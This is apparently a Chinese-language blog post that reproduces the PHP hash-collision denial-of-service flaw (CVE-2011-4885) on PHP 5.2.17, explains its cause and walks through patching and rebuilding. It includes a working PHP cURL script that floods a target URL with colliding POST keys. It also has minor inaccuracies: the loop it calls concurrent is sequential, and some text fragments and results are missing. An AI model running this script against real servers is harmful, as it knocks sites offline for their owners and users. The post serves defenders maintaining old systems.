2011 年底爆發的 PHP Hash 碰撞漏洞(CVE-2011-4885 / CVE-2012-0830)允許攻擊者透過精心構造的 POST 請求,觸發陣列雜湊表退化成鏈結串列,導致 CPU 耗盡,單機即可癱瘓未修補的 PHP 應用。本文記錄在 LAMP 環境(PHP 5.2.17)下的完整復現、影響驗證、打補丁重編譯與修復驗證全過程,供同樣維護舊版 PHP 系統的工程師參考。
checktime.php(僅輸出當前時間)
在攻擊機(同網段虛擬機)編寫 hash.php,利用 pow(2,16) 產生大量鍵值相同雜湊的鍵名,透過 cURL 併發發送:
<?php
$size = pow(2, 16);
$data = '';
for ($key = 0, $maxKey = ($size - 1) * $size; $key <= $maxKey; $key += $size) {
$data .= $key . '=&';
}
$url = 'https://target-site.com/checktime.php';
$ch = curl_init();
curl_setopt($ch, CURLOPT_HEADER, 0);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
curl_setopt($ch, CURLOPT_URL, $url);
curl_setopt($ch, CURLOPT_POST, 1);
curl_setopt($ch, CURLOPT_POSTFIELDS, $data);
for ($i = 0; $i < 100; ++$i) { // 100 併發
curl_exec($ch);
}
curl_close($ch);
?>
即使目標站點本身流量極低(個人部落格),100 併發即可佔滿單核 CPU。將併發調至 10,000,CPU 持續 100%,但因無正常業務流量,頁面回應看似正常——這正是漏洞隱蔽性高的原因:監控若只看回應時間,極易忽略資源耗盡。
PHP 5.2/5.3 使用 DJBX33A 雜湊演算法處理 $_POST/$_GET/$_COOKIE 陣列鍵名。攻擊者預計算大量鍵名使其雜湊值相同,導致雜湊表退化為單向鏈結串列,插入/查找時間複雜度從 O(1) 退化為 O(n²),CPU 耗於大量字串比對。
PHP 官方透過引入 max_input_vars(預設 1000)限制單次請求接受的輸入變數數量,徹底緩解此類攻擊。對於無法升級至 PHP 5.4+ 的舊系統,需手動打補丁重編譯。
補丁來源:laruence/php-5.2-max-input-vars
php-5.2.17)php-5.2.17-max-input-vars.patch
cd /opt/soft/php-5.2.17 # 原始碼目錄
make clean # 清理舊建構產物
patch -p1 < /path/to/php-5.2.17-max-input-vars.patch
./configure [原有參數] # 完全複製原編譯參數
make ZEND_EXTRA_LIBS='-liconv' # 視平台調整
make install
pkill httpd
/usr/local/apache/bin/apachectl start
檢視 phpinfo(),PHP 版本後應顯示 P1(Patch 1),表示補丁生效。
同樣使用 10,000 併發攻擊,觀測目標伺服器 CPU:
max_input_vars 是根本之道。client_max_body_size、limit_req_zone 限制請求體積與頻率。此漏洞雖屬經典老洞,但仍有大量舊系統(ECShop、老版 Discuz、DedeCMS 等)運行於未修補的 PHP 5.2/5.3 上。若您維護此類系統,請立即評估打補丁或升級風險,並在邊界層部署緩解措施。安全無小事,修補永遠比事後滅火划算。